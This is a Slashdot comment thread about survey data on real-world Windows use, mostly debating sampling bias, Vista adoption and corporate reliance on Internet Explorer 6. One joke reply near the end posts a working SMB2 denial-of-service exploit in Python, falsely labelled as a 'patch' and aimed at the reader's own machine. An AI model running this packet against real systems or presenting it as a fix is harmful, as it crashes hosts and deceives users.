The Real-World State of Windows Use 374
snydeq writes "Performance and metrics researcher Devil Mountain Software has released an array of real-world Windows use data as compiled by its exo.performance.network, a community-based monitoring tool that receives real-time data from about 10,000 PCs throughout the world. Tracking users' specific configurations, as well as the applications they actually use, the tool provides insights into real-world Windows use, including browser share, multicore adoption, service pack adoption, and which anti-virus, productivity, and media software are most prevalent among Windows users. Of note are the following conclusions: two years after Vista's release, not even 30 percent of PCs actually run it; OpenOffice.org is making inroads into the Microsoft Office user base; and despite the rise of Firefox, Internet Explorer remains the standard option for inside-the-firewall apps."
Spyware (Score:3, Insightful)
The Windows Sentinel app:
When they sell your info it's spyware
When they post it on slashdot it's a community-based monitoring tool
Re:Spyware (Score:5, Insightful)
Re:Spyware (Score:5, Insightful)
Yes, that is the way the world works, correctly. Just like the difference between you giving some guy on the street money, and the same one stealing your wallet. One is called robbery, one isn't.
Complicated world we live in, isn't it?
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IT Pro's are statistically insignificant, and their software use pattern is extremely predictable.
The point you raised is exactly the point of the stats - average joe's. *They* are the reason web developers (used to?) spent an extra 20% time breaking their CSS to be IE6 compatible.
Browser use isn't exclusive (Score:3, Informative)
At least Hulu lets me use Firefox.
Re:Browser use isn't exclusive (Score:5, Informative)
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Re:Browser use isn't exclusive (Score:4, Informative)
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I don't use the Netflix streaming much, but when I do I just boot a Windows XP image in VirtualBox and watch it. The performance of VirtualBox is good enough that this works great. There may be a more "native" way to make this work in Linux, but to be honest, it simply isn't worth my time since the virtualization is so easy to setup.
Re:Browser use isn't exclusive (Score:4, Funny)
Surely you mean downgraded, right?
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Dang, now he has to admit he actually likes the little rascal
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I use mostly Firefox but when I want to watch a movie on Netflix I have to use IE. The same with Netlibrary.
The latest firmware upgrade to my Samsung Blu-Ray player added support for Blockbuster and YouTube to Netflix and Pandora.
The only thing missing really is the ability to browse the Netflix catalog through the player.
I have to ask why I am using a PC for media play when a set up like this is so easy to live with.
Netlibrary (Score:2)
Windows as a Real World State? (Score:4, Funny)
Since it's not, I'll make it up: bloated, past its prime, and fueled entirely by the force of its own inertia.
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I agree... oh wait, NO.. I mean I disagree... er.
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Sorry, no. The USA is an older country than almost all the countries in Europe, except perhaps Britain (which kinda 'morphed' into its current state). All the European countries are quite young, and only date back to WWII in most cases. Before that, many of them were still kingdoms.
Or are you going to try to argue that, for instance, Croatia is an old country, even though it didn't exist only 20 years ago?
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So you're saying that Croatia magically became a new country when it split off from Yugoslavia, but Germany is the same country it was when it was run by Kaiser Wilhelm? So how old are Austria and Hungary in your opinion, since neither of those existed independently before WWI? Is Italy 2500 years old in your opinion? How old is the USA in your opinion, since the land certainly existed before Europeans found it, and was inhabited by people as well.
It's simple: countries are "born" when they adopt a new f
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Constitutional REPUBLIC. The word "Democracy" appears NOWHERE in the Declaration of Independence, or the US Constitution. WE ARE NOT A DEMOCRACY!! WE ARE A CONSTITUTIONAL REPUBLIC! Learn your history, and get it straight for Christ's sake!
US Constitution, Article IV, Section 4:
The United States shall guarantee to every State in this Union a Republican Form of Government, and shall protect each of them against Invasion; and on Application of the Legislature, or of the Executive (when the Legislature cann
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Here is a map of europe in 1900 http://images.google.com/imgres?imgurl=http://www1.aucegypt.edu/faculty/sedgwick/Map/EU1914.jpg&imgrefurl=http://www1.aucegypt.edu/faculty/sedgwick/Map/MapEU1900.html&usg=__I3nXzblc67kO1q7FyiGeG2wkQlY=&h=572&w=900&sz=174&hl=en&start=54&um=1&tbnid=CA8Y22lbGiNirM:&tbnh=93&tbnw=146&prev=/images%3Fq%3Dmap%2Bof%2Beurope%2B1914%26ndsp%3D18%26hl%3Den%26client%3Diceweasel-a%26rls%3Dorg.debian:en-GB:unofficial%26sa%3DN%26start%3D36%26um% [google.com]
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Heh. Any full blooded Croatian will tell you that Croatia is 1300 years old. Or, if you wanted to split hairs, 1100-- the first king was crowned in 925.
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Yes of course it's an old country, because it's not like it popped into existence out of nowhere suddenly 20 years ago. There's a ton of history that happened to the same people living there and while governments might change and even constitutions that doesn't mean that the country ceases to exist
Or are you going to argue that Egypt is only 87 years old? Let's just not look at the Pyramids, because they didn't exist 87 years ago? I find it even more impressive that they knocked up those suckers in such a s
Re:Windows as a Real World State? (Score:5, Funny)
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The amount of forms and signatures needed to conduct even the simplest actions is totally hallucinogenic.
Case in point: I recently flew in to Brussels, and we had a group of American tourists on board who needed to be reassured be the airline staff that they didn't need to sign any forms, or deposit any money or fingerprints to be allowed to enter the country...
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Most of the European countries are less than 80 years old...
This must be some strange definition of "most" that I (and most of the rest of the english-speaking world) am unfamiliar with.
If you said most eastern European countries, then I'd probably have to agree with you on a technicality, simply because a lot of them radically reconfigured their governments and renamed themselves after the fall of the iron curtain.
But Western Europe? Not a chance. England has been a country for nearly 1100 years.
Even Finland, which is a recent one, is 90 years old, when you just
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The nation of the United States of Microsoft?
Fascist dictatorship and economy, views and opinions forced on civilians (users of the product).
Enemies are The People's Republic of Mac OSX and FinnLinuxLand, but sometimes The NetherBSDlands.
The currency is the WGA check, without it you are a dirty no good software pirate.
Blue Screen of Deaths are common but unreported and the government denies knowledge of it, but keeps asking citizens to install service packs or buy the new version of the nations operating sy
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We really need a -1 I want to kick you in the throat
Please refrain from reckless use of analogies.
Or a -1 Stop Requesting New Negative Mods.
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Since it's not, I'll make it up: bloated, past its prime, and fueled entirely by the force of its own inertia.
Ah, yes much like the first Galactic Empire.
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Well... would you consider Hell as a country? Have associated enough related names to be considered there (bsod, dll hell, ping of death, bill gates, etc). To be fair, unix should belong to that country too, is full of daemons (so much that the logo of one is a small devil), and when they get angry they dump cores... but dont lose hope, seems that that general area is getting cool enough to get penguins happy.
Let's not forget that bit about eating from the forbidden Apple tree.
Representative? (Score:5, Insightful)
This is only representative of the 10,000 PCs running this software downloaded from InfoWorld, it would appear. This doesnâ(TM)t sound like it has anything to do with the âoereal worldâ unless you think that the subset of Infoworldâ(TM)s readers who would download this software are somehow representative of the broader Windows population.
Re:Representative? (Score:5, Interesting)
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Even more ignored are the machines running in a totally isolated or "specialty" environment such as kiosks, point-of-sale, order taking, and other closed (but not imbedded) systems. I know of a chain of pizza shops still running DOS boxes (and doing a great job!). I would bet that there are no HTPCs in this survey.
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Totally agree. And even whether it's 20K PCs, as the linked article says, I'd still not represent anything...
You don't understand statistics, do you?
You have 170,000+ computers. Great. That is not a random sample. A random sample of 10,000 computers is enough to generate a confidence greater than 95%. It doesn't matter how many computers there are in total. Whether it is 1 or 100 billion or 100 million billions. 10,000 randomly chosen samples give you more than 95% certainty.
There's a reason to doubt
Need to retake to Introduction to Statistics .... (Score:5, Insightful)
Of note is the fact that, two years after Vista's release, not even 30 percent of PCs actually run it
No, not even 30% of the subset of PCs with this performance-monitoring software run it. In order to claim that not even 30% of PCs run Vista, you would need to establish that the sampling method is not biased, which is a pretty implausible claim.
It would not surprise me if the subset of technically savvy PC users are biased towards XP and that subset of "Windows is what comes on the computer from the store" have whatever the store put on it.
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Irrelevant.
Also irrelevant.
Well.... not to offend any Linux users, or Mac users, but those operating systems are entirely irrelevant.
For business, I only use Linux. Specifically, CentOS 5 and Ubuntu. Personally, I use Linux on all my machines.
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I am saying that Linux and Mac are irrelevant to the discussion of whether or not Vista is a failure. Vista is not really competing with them. It was always competing with XP.
New computer sales of course have Vista on them which skews the numbers a bit. You need to remember how pissed off HP and Dell were about the constant nagging to downgrade from Vista back to XP. Working professionals had unpleasant experiences and were constantly asking people such as myself to give them back their XP. Downgrading
Re:Need to retake to Introduction to Statistics .. (Score:4, Interesting)
You know, it is hard to say. I am having a hard time finding old market share data but consider this. Windows XP was released in October 2001 and XP Service Pack 2 was released in August(?) 2004. That is a 2 year, 10 month gap from Release to the Service Pack that made it a decent operating system. Most people I knew were afraid of XP before SP2 came out and were not budging from the (By that point) rock solid Windows 2000. Vista was released when? January 2007 or something like that? Here we are 1 year and 8 months into the Vista experiment (With a successor on the horizon...when XP SP2 was released I don't even think there was any information on the next windows version being bandied about). Yet, Vista still has achieved a 30% market share, apparently.
I'd have to guess that pre-SP2 XP would not have been much higher than 30% despite an additional year of availability...and that is with the absolutely horrendous publicity that Windows Vista got. I would think that the numbers would suggest to Microsoft that it did pretty well.
What the hell? (Score:5, Insightful)
If you have to sign up to be a part of the data gathering, it is NOT real-world usage, as the other billions of us out there haven't signed up.
And another thing.
The summary quotes a number of 10,000 sampled machines, yet the number in the first link says 20,000.
Which is it, boys?
A +/- variation of 50% in something as simple as the number of machines sampled leads me to believe there more then likely other errors.
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so for all we know, the sample size could've been 0.
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A +/- variation of 50% in something as simple as the number of machines sampled leads me to believe there more then likely other errors.
actually, that's a +/- 100% variation, for people who saw the 10,000 number first. so for all we know, the sample size could've been 0.
So that means that the study is about as reliable as an average Slashdot poster. Great... =P
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If you click on the graphs to go to the xpnet.com site, you'll see that it is reporting 10,270 active clients. That number was last updated 2 days ago, apparently.
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A +/- variation of 50% in something as simple as the number of machines sampled leads me to believe there more then likely other errors.
I want to know where I can by the anti-virus software from Unknown - it seems to be the most popular by a long shot,
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Can someone provide some sort of evidence of a non-Windows OS machine being part of a botnet?
If not, I think your idea might produce slightly skewed results.
"Windows market share seems to have reached an all time high of 100%(+/- 3%), based on current data provided by surveyed Botnet operators. The Botnet operators cautioned that 3% of respondents failed to respond, and that any data should take this into account."
Legacy Software (Score:5, Insightful)
10,000 PCs is a small sample size, try a few million. You might have a sampling error there if they are not randomly picked.
One reason why Windows Vista has not caught on is that older hardware won't run it, like my Father's Pentium 4, 512M, Windows XP Home System, it is not listed as Vista compatible and fails the Vista upgrade check. The memory cannot be upgraded to more than 512M due to motherboard limitations, and the video is not Aero compatible and there is no video slot to upgrade it. I doubt it will run Windows 7 either. Trying to force a Windows Vista install on it will mean that it will run slowly (512M is the minimum I know, but with that size memory Vista runs slow) and some features would be disabled.
My own laptop a Compaq Presario F700 series came with Windows Vista Home Premium on it, but it caused random lockups that Microsoft blamed on Compaq, and Compaq blamed on Microsoft, and after going in circles trying to get help I downgraded it to an OEM copy of Windows XP Pro that works without any problems at all. But I have a Windows 7 Pro upgrade coming in October to try it out. Hoping that if Windows 7 stinks as much as Vista did, that I can go back to XP Pro. On the other hand Fedora 11 works with the wireless card and it would make a good Linux based laptop when XP retires and there is no more updates for it. I just wish that Visual BASIC 2008/2005 works with WINE, because currently it does not, and I need to keep my VB skills up to date for possible jobs or contract work. Something about needing the BITS service installed to install the software. Otherwise the outdated and ancient Visual BASIC 6 works in WINE, but hardly anyone calls for VB 6.0 skills anymore.
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I have this pres presario at work that I need to fix for someone. Installing xp with the sata drivers rolled in works, but as soon as it boots it bluescreens somewhere along the 2nd HD based setup phase. When it reboots it boots into safe mode and installs fine, and allows a normal login, but as soon as I launch IE to get windows updates IE crashes and so does just about everything else, but it doesn't bsod. I think its like the V6000 laptop. Anyone know anything? (I know this is OT, so I apologize in advan
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10,000 is a very large sample size, and adequate for almost anything. Vista's not *so* rare that it won't show up on a sample of 10,000.
However your point about random sampling is valid, although it would be just as big a problem with a sample of 10 million. This is a self-selected sample, so is highly likely to suffer from this a great deal.
Re:Legacy Software (Score:5, Insightful)
The size of the sample is fine, the method for picking the same is the main issue. 10,000 PC's is well over enough to get a +/- 2% error if the sample is random.
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I have a Thinkpad X30 (1.2GHz P3M, 512M) with an old, slow 20G disk in it (original died). It runs W7 better than it did XP, with a minor caveat that you'll suffer slightly longer load times for everything. However, it's more responsive and less prone to the "minor IO = mouse glitching" problems of XP.
and as usual the StatisticAreFlawed crowd is here (Score:3, Insightful)
and they aren't right.
They aren't even wrong.
AMD v. Intel (Score:2)
That's quite interesting. The graph shows that about 25% of systems runs on AMD CPUs. Frankly (though I claim to be an AMD enthusiast) I thought that AMD now at 10-15% max.
Apparently, thanks to the media hype around high-end toys, low-end gets neglected. And low-end is a place were AMD is very strong. That's only way I can explain the 25% user share of AMD....
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Market share statistics are usually based on quarterly sales. So when AMD is up or down, between 15 and 25%, that's sales for that quarter.
Nobody knows how many millions or billions of AMD and Intel CPUs are out there, still functioning.
I would put more merit on the Steam Survey [steampowered.com] than this. Steam says 1 in 3 CPUs are AMD. That's a subset of the general populace - people that use steam and play games - but it reflects that heavy push a few years back as the Gamer's CPU of choice.
Windows 7 market share. (Score:2)
Inside the firewall (Score:4, Insightful)
Firewalls are pretty good to avoid things from outside getting in by themselves. But once you put an agent there that opens the door to things from outside (probably the most used vector right now) it turns the firewall meaningless. And if well you can put things that do a virus scan of what is coming, its not easy to detect 0-day attacks, or targetted trojans, or the js/activex/dynamic html/whatever attack of the day.
Re:Inside the firewall (Score:4, Insightful)
> Forcing the use of IE in particular for that application, as in corporate networks, is like mandating to use belt only in very slow cars.
Many companies use Internet Explorer because they want the tight integration with other Microsoft products (like Sharepoint or Office). It takes very little effort to setup a Sharepoint intranet, where people can post Excel documents and generate KPIs and dashboards and whatever the business needs to move forward. Other big software companies also have that kind of stuff, like IBM Lotus Notes or Novell Groupwise. But just like Microsoft, it's a lock-in process. Setting up that kind of environment with other software, like those open-source PHP CMS, will require a lot of work, and quite possibly, more skilled staff and a training program for users.
Also many companies use Internet Explorer because it's already built-in and it would cost more to support more than one browser. Internet Explorer is already paid for, and usually people can get things done with it, so it's a hard sale to bring in Firefox or another browser.
> Firewalls are pretty good to avoid things from outside getting in by themselves. But once you put an agent there that opens the door to things from outside (probably the most used vector right now) it turns the firewall meaningless.
Any decent firewall can have rules for both inbound and outbound traffic. Also, decent firewalls usually have DPI or other smart technologies that can really raise flags when something goes wrong.
> [...] forcing to have an agent there that is vulnerable even to bad breath (usually the enforced version is an old one, wont be very surprised if a good percent of those inside the firewall browsers are IE6) sounds almost criminal.
In my experience, companies that have a policy about the allowed version of Internet Explorer usually have a very efficient change management strategy and suffer very little downtime because of software problems. I have a Fortune 500 client that started rolling out Windows XP last year only; they have no downtime at all and the business is doing great. It's not cool or edgy to work in such an environment (even Flash is not supported), but they are not in the cool or edgy business.
The Net Applications Stats For August (Score:2)
The Net Applications stats for August:
XP 71.8%
Vista 18.8%
OSX 10.5 3.5%
Win 7 1.2%
OSX 10.4 1%
Linux 0.9%
W2K 0.9%
Operating System Market Share [hitslink.com]
These global stats are built from about 160 million hits per month to its clients' websites:
Additional estimates about the website population:
76% participate in pay per click programs to drive traffic to their sites.
43% are commerce sites
18% are corporate sites
10% are content sites
29% classify themselves as other (includes gov, org, search engine marketers etc..) About [hitslink.com]
OpenOffice making inroads (Score:2)
AVG the top a/v (Score:3, Insightful)
AVG leading McAfee and Norton by a significant margine. Some other "Unknown" a/v has 35% but is not avast. These are not corporate computers.
If you click on the Get More Charts link you can see the entire array. Another I found interesting was Home Premium lead among Vista uses. Again, not corporate.
RAM has 2-3GB leading so I'd think these are mostly 32-bit systems. It would be nice if that were a metric.
Inside the (Corp.) Firewall no one can ... (Score:5, Interesting)
Re:Inside the (Corp.) Firewall no one can ... (Score:4, Interesting)
Sometimes when on break, I boot a live Ubuntu distro. It runs in memory. I set the networking in Firefox to use the default proxy, load flashplayer from Adobe, and enjoy the break with tabs and no worries. Some who think they are stuck with IE simply don't know they have an option.
IE 6 at work badly scrambles Slashdot pages with text running over text. I use Firefox to check my user page and see replies. The page is unusable in the corporate IE 6 default browser.
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or you could get your organisation to move into this century. ie6 is ancient even in the MS world. incidently most could not do what you suggest as it would breach their corporate security policy, hell if you tried that where I work you would be sacked, not to mention you would not actually even be able to conect to the proxies anyway as they are all authenticated (as are our network ports).
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What about browsing from a VMware image running inside the corporate desktop template? I've been doing that for years.
Re:Inside the (Corp.) Firewall no one can ... (Score:5, Insightful)
IE6 supports many extensions and has many bugs (at least things that work different from standards but consistent in IE6), that were at the time nice for programmers and were used really a lot. Thus many internal software used in companies needs IE6 as front-end.
Many of those behaviour issues have changed in later releases, also many of the hooks have been removed for being unsafe amongst other reasons. Thus your nice corporate app doesn't work anymore in later IE releases.
Then you can go "oh but then just fix it!" - why fix it when it isn't broke? IE6 still works, right? It will likely require a large if not total re-write of the app, which is very very expensive and needs to go through all the testing that the current app has gone through over the years. It is also very well possible that the original developers do not work at the company any more (IE6 is old enough for that), so even more likely that development has to start from scratch, including getting a list of current features of your corporate app.
Blame the people originally choosing to lock themselves into IE, but you can not blame the current people from insisting to continue using IE.
What they should do of course is install IE7/8 or FF or Opera or any other modern browser as well, and restrict IE6 for those internal sites only. Still using IE6 on the open Internet is too dangerous, and more and more web sites will not support its quirks any more either.
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Re:Inside the (Corp.) Firewall no one can ... (Score:4, Insightful)
booting a separate os during a break to read a web page is hardly a productive use of one's personal time.
Your company restricts flash drives but allows you to boot from an optical drive?
Re:Inside the (Corp.) Firewall no one can ... (Score:4, Insightful)
You mentioned Ubuntu.
Even though you're using it in a completely counterproductive manner, it will definitely get modded +5 insightful.
Re:Inside the (Corp.) Firewall no one can ... (Score:5, Insightful)
I'm guessing that's some sort of internal agreement with your IT department or outsourced IT provider, because speaking as someone with an Enterprise license agreement and a support contract with software support through IBM, there's nothing binding me or my users to a particular technology stack.
That said, we end up sticking with IE because of obsolete external applications. ADI Time's web site is an excellent example of a site that only runs in IE using Compatibility Mode, and since we use that for leave management at the insistence of HR and a long-running contract, we have to keep IE around. Personally, I'd like to move to Firefox or Chrome; not being subject to our normal software installation rules, I actually use Chrome as my primary browser. We don't install it and offer it as a choice for users because our users are, sadly, not the sort of people who'd deal well with being told, "Well, if it doesn't work in one browser, try the other one." Some of them don't grok that there is such a thing as a "web browser" and need to be told to open "the Internet" (i.e., Internet Explorer) instead.
I think the major limiters to F/OSS adoption in the corporation are a relative lack of mature management tools, the increased support costs due to user ineptitude and limited support resources, and general corporate inertia. Specific contracts that bind a company to a particular technology stack probably fall into the category of "more common than you'd expect, but less common than you'd think," and it's certainly not a Microsoft-specific thing -- and shame on the CIO who signs such a contract, or buys a piece of software that isn't cross-platform compatible.
Not to start a language holy war or anything, but we use IIS and the .NET Framework by choice, not because we're forced to do so. :)
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Really? You might want to tell that to the military... I can't get Firefox installed much less supported on a military computer.
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Which federal govt? Not the US.
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Re:Inside the (Corp.) Firewall no one can ... (Score:4, Informative)
I work at NASA. We got a message from the higher-ups that we are not to use IE unless absolutely necessary. It may be agency-specific for us, but all our payroll apps and stuff work in Firefox.
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What percentage of total computer users is represented by 10,000 computers, each with glorified spyware installed on it? I manage many computers both in offices and homes and none of them have this monitoring software installed. That could add up to 10% of this survey, potentially completely changing the end results.
Bill: "Should we tell 'em the software is called Microsoft Update?"
Steve: "Hell no! Are you nuts?!?"
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Or in two words: sampling bias.
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If you're worried about the small sample size, perhaps you can contact the exo performance network and see what data their software transmits and whether or not it would be useful to install on your 1000 client machines. If there's no personally-identifiable information sent back, and if the software is not responsible for crashing clients or disrupting work, it would definitely help the accuracy of the statistics.
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Pay attention, they aren't tracking sales data. They're tracking actual usage data as reported by their actual reporting tool, installed on actual computers by actual users. The sample size is only just over 10k machines, but even so, it's actual usage data, not sales data.
Biasm small sample... (Score:2)
Also sounds like spyware to me.
MS gets similar data through its monitoring in Office & other applications.
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This is a fav argument as always - the problem is that when you look at OS share collected by online data aggregators like NetApps it seems someone is actually connecting these mythical warehoused copies of Vista to the internet.
Personally, I think it's amazing Microsoft found a way to make unsold boxed DVDs of Vista to the internet. They might struggle to make Aero run on older hardware, but they're brilliant at wireless networking and power management.
By the way, 30% of roughly a billion PCs in the world.
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You clearly don't understand statistics. 10,000 samples is a very large study.
If there's a problem with the data (and there probably is), it is because of selection bias.
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AFAICT, on low-end PCs highly likely RAM is shared with video RAM. Depending on how much is given to video, RAM size might vary.
Thus the silly size ranges.
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Sure. I use all three, hence the overlap. I use Firefox most of the time, MSIE when I want to load faster, do pics, or use the built in RSS feed. Firefox is slower to load (by far. I've benchmarked it with a stop watch.) and much slower to load pics, but it renders more pages better more often and rarely hangs up.
Try patching your system (Score:2)
http://blogs.technet.com/markrussinovich/archive/2008/02/04/2826167.aspx [technet.com]
Re:Try patching your system (Score:5, Funny)
I believe this is the relevant patch:
#!/usr/bin/python
#When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
#it dies with a PAGE_FAULT_IN_NONPAGED_AREA error
from socket import socket
from time import sleep
host = "127.0.0.73", 445 :) normal value should be "\x00\x00"
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: -->
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()
Re: (Score:2)
Re: (Score:3)
In fairness to the GP, World of Warcraft doesn't require "installation" to run. You can copy it to a USB stick of sufficient size and run it from there on any computer without having to install it; I often do this when I'm on the road and want to get a bit of virtual adventure in. WoW's config is stored in its directory, not the registry.
The network copying issue, though, is indicative of a problem that isn't OS-related, I'd argue. :)
Re: (Score:3)
Windows's built-in filesharing is fine; depends how you use it to make it a lousy or good tool.
Seriously, something as simple as copying files from computer A to computer B (or from folder A to folder B) is slow as fuck because "you're doing it wrong?" I've experienced ridiculously slow local file copies and ZIP file extractions on my up-to-date, always-install-the-latest patch Windows Vista Home installation. The same machine running a current Ubuntu doesn't exhibit any such problems, but I'm not some Linux guru that knows how to tweak out my system.
Maybe I'm just unlucky, but during the time I've
Re: (Score:2)
Re: (Score:2)
The whole point of statistics is make estimations that take less effort than counting out what you are trying to examine. Most studies could only dream of having a sample size of 10K. If there is a problem with the sample, it is the fact it was not randomly selected.
Re:Emperical evidence of bundling (Score:5, Insightful)
And here we have emperical evidence that Microsoft's bundling of IE does hurt the competition. OpenOffice can get a foothold on Windows becuase its competitor costs money, but Firefox can't because its competitor is free, and is built into every copy of Windows.
Firefox has far more penetration into the Windows market than OpenOffice so what you said makes absolutely no sense.